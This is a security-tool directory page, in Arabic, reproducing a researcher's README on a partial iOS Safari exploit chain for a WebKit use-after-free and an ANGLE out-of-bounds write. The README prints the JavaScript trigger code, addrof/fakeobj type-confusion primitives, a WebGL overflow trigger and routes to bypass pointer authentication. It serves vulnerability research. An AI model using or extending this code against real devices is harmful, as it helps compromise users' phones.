Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
WebKit-UAF-ANGLE-OOB-Analysis — تحليل سلسلة استغلال CVE-2025-43529 (WebKit UAF) + CVE-2025-14174 (ANGLE OOB) - iOS Safari | Kitploit
أدوات/GitHubGitHub/0xjohnnydev/webkit-uaf-angle-oob-analysis
أمان iOSتحليل الثغرات الأمنيةالاستغلالالهندسة العكسيةأمن الويبأمن الجوالالأوراق والأبحاثاستغلال الملفات الثنائية

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
GitHub
0xjohnnydev/webkit-uaf-angle-oob-analysis

WebKit-UAF-ANGLE-OOB-Analysis

تحليل سلسلة استغلال CVE-2025-43529 (WebKit UAF) + CVE-2025-14174 (ANGLE OOB) - iOS Safari

عرض المستودع
10321منذ شهر واحدتمت المراجعة من قبل Kitploit

WebKit-UAF-ANGLE-OOB-Analysis (CVE-2025-43529, CVE-2025-14174)

ملاحظات ومواد PoC لسلسلة WebKit/ANGLE على iOS 26.1. هذا ليس استغلالًا كاملاً؛ بل يفصل بين البدائيات المؤكدة والأجزاء التي لا تزال تفشل.

المؤلف: zeroxjf
مبني على: jir4vv1t's CVE-2025-43529 exploit
الحالة: سلسلة جزئية؛ القراءة/الكتابة العشوائية غير مثبتة
جهاز الاختبار: iPhone 11 Pro Max، iOS 26.1
آخر تحديث: يناير 2026


النطاق والإسناد

مشغّل UAF الخاص بـ CVE-2025-43529، واستعادة الـ butterfly، والبدائيات addrof/fakeobj مبنية على عمل jir4vv1t. إضافاتي هي توصيلات OOB الخاصة بـ ANGLE، والتحليل المركّز على PAC، والتحقق على iOS 26.1.

نظرة عامة

تم الإفصاح عن ثغرتين في WebKit معًا، وأبلغت Apple عن استخدامهما في البرية (in-the-wild).

CVEالمكوّنالنوعالملخص
CVE-2025-43529JavaScriptCoreUse-After-Freeنقص حاجز الكتابة في DFG JIT يؤدي إلى تحرير GC لكائنات حية
CVE-2025-14174ANGLE (GPU)Out-of-Bounds Writeالواجهة الخلفية Metal تستخدم ارتفاعًا خاطئًا لتخصيص المخزن المؤقت للتحضير (staging buffer)

CVE-2025-43529: UAF في حاجز التخزين في WebKit DFG

السبب الجذري

الخلل موجود في DFG JIT الخاص بـ JavaScriptCore، وتحديدًا في مرحلة إدراج حاجز التخزين (DFGStoreBarrierInsertionPhase.cpp).

عندما يهرب عقدة Phi (Phi node) ولكن مدخلات Upsilon غير مُعلَّمة على أنها هاربة، فإن عمليات التخزين اللاحقة تفتقد حاجز الكتابة. وهذا يسمح لجامع القمامة (GC) بتحرير كائنات لا تزال قابلة للوصول.

آلية التشغيل

root@kitploit:~
function triggerUAF(flag, k, allocCount) {
    let A = { p0: 0x41414141, p1: 1.1, p2: 2.2 };
    arr[arr_index] = A;  // A in old space

    let a = new Date(1111);
    a[0] = 1.1;  // Creates butterfly for Date

    // Force GC
    for (let j = 0; j < allocCount; ++j) {
        forGC.push(new ArrayBuffer(0x800000));
    }

    let b = { p0: 0x42424242, p1: 1.1 };

    // Phi node - the bug
    let f = b;
    if (flag) f = 1.1;

    A.p1 = f;  // Phi escapes, but 'b' NOT marked as escaped

    // Long loop = GC race window
    for (let i = 0; i < 1e6; ++i) { /* ... */ }

    b.p1 = a;  // NO WRITE BARRIER - 'a' freed while still reachable
}

مخطط الاستغلال

يمكن استعادة butterfly لكائن Date المحرَّر باستخدام مصفوفات الرش (spray arrays)، مما يُحدث ارتباكًا في الأنواع (type confusion):

root@kitploit:~
// After reclaim:
boxed_arr[0] = obj;           // Store object reference
addr = ftoi(unboxed_arr[0]);  // Read as float64 = leaked address

unboxed_arr[0] = itof(addr);  // Write address as float64
fake = boxed_arr[0];          // Read as object = fakeobj

النتائج الحالية (iPhone 11 Pro Max، iOS 26.1)

  • addrof/fakeobj: تم التحقق منهما في تشغيلات الفحص
  • تسريب العناوين: تم التقاط أكثر من 20 عنوان كائن في كل تشغيل
  • قراءة/كتابة التخزين الداخلي (Inline-storage): تم التحقق منها على الفتحات الداخلية المعروفة (بناءً على عنوان الكائن)
  • قراءة/كتابة عشوائية (Arbitrary R/W): غير مثبتة؛ يفشل إثبات فحص المخزن الخلفي (backing-store) في التشغيلات الحالية

CVE-2025-14174: كتابة خارج الحدود في الواجهة الخلفية Metal لـ ANGLE

السبب الجذري

في الواجهة الخلفية Metal الخاصة بـ ANGLE (TextureMtl.cpp)، يستخدم تخصيص المخزن المؤقت للتحضير (staging buffer) UNPACK_IMAGE_HEIGHT بدلاً من الارتفاع الفعلي للنسيج عند الرفع عبر PBO.

التشغيل

root@kitploit:~
gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, 16);  // Small value

// Staging buffer: 256 * 16 * 4 = 16KB
// Actual write:   256 * 256 * 4 = 256KB
// OOB: 240KB!

gl.texImage2D(gl.TEXTURE_2D, 0, gl.DEPTH_COMPONENT32F,
              256, 256, 0, gl.DEPTH_COMPONENT, gl.FLOAT, 0);

مشكلة PAC

ما الذي يمنع الاستغلال الكامل

على معمارية arm64e (iPhone 11 Pro Max)، تحمي رموز مصادقة المؤشر (Pointer Authentication Codes) المؤشرات الحرجة في JSC:

المؤشرمحميالنتيجة
TypedArray m_vectorنعملا يمكن تزييف TypedArray بمخزن خلفي عشوائي
JSArray butterflyنعملا يمكن تزييف JSArray بـ butterfly عشوائي

عند محاولة إنشاء TypedArray/JSArray مزيف بمؤشر بيانات عشوائي، يفشل التحقق من PAC ويحدث انهيار:

root@kitploit:~
Exception: EXC_BAD_ACCESS
KERN_INVALID_ADDRESS at 0x0001fffffffffffc -> 0x0000007ffffffffc
(possible pointer authentication failure)

لماذا يعمل الارتباك الأصلي

ينجح ارتباك الأنواع لأن كلتا المصفوفتين تستخدمان مؤشرات butterfly موقّعة بشكل شرعي - نحن فقط نعيد تفسير نفس الذاكرة. الكائنات المزيفة بمؤشرات عشوائية غير موقّعة تنهار عند فحص PAC.

طرق الالتفاف غير المثبتة

  1. مسارات JIT التي تستخدم مؤشرًا موقّعًا من كائن شرعي دون إعادة مصادقة الحقول التي يتحكم فيها المهاجم.
  2. أداة توقيع (signing gadget) أو API يمكن الوصول إليها وتوقّع مؤشر بيانات خاضع للسيطرة بالسياق الصحيح.
  3. استخدام مختلف لثغرة ANGLE OOB يتجنب تمامًا المخازن الخلفية المزيفة لـ TypedArray/JSArray.

الإمكانيات الحالية


ملخص الأدلة (آخر تشغيل فحص)

  • تم التحقق: addrof، fakeobj، تسريب العناوين، قراءة/كتابة الفتحات الداخلية على كائنات معروفة
  • غير مُتحقَّق: read64/write64 العشوائية، سلسلة الهروب من العارض إلى GPU، الهروب من وضع الحماية (sandbox)
  • فحص ANGLE: تم تنفيذ مسار PBO في WebGL2؛ لم يتم تأكيد التشغيل في التشغيلات الحالية

هيكل المستودع

root@kitploit:~
├── README.md                 # This file
├── poc/
│   └── chained_exploit_probe.html
└── analysis/
    ├── pac_analysis.md       # Detailed PAC findings
    └── crash_logs/           # Example crash reports

شكر وتقدير

مشغّل CVE-2025-43529، وتقنية استعادة الـ butterfly، وبناء addrof/fakeobj مبنية على jir4vv1t/CVE-2025-43529. يضيف هذا المستودع التحقق على iOS 26.1، وملاحظات PAC، وتوصيلات ANGLE OOB.


المراجع

  • jir4vv1t/CVE-2025-43529 - استغلال UAF الأصلي وتحليله
  • WebKit Bugzilla: 302502, 303614
  • تحديثات أمان Apple - iOS 26
  • Google Threat Analysis Group

الحالة الحالية: مفيد لإعادة إنتاج بدائية JSC وحاجز PAC؛ وليس سلسلة استغلال كاملة.

تنزيل الأداة
البدائيةالحالةملاحظات
addrof(obj)يعملتم التحقق منه في الفحص
fakeobj(addr)يعملتم التحقق منه على كائنات معروفة
تسريب العناوينيعملأكثر من 20 عنوانًا في كل تشغيل
قراءة/كتابة الفتحات الداخليةيعملتم التحقق على الفتحات الداخلية المعروفة (بناءً على عنوان الكائن)
read64(addr)غير مُتحقَّقتم إنشاؤه عبر خدعة الفتحة الداخلية، وفشل الإثبات
write64(addr)غير مُتحقَّقتم إنشاؤه عبر خدعة الفتحة الداخلية، وفشل الإثبات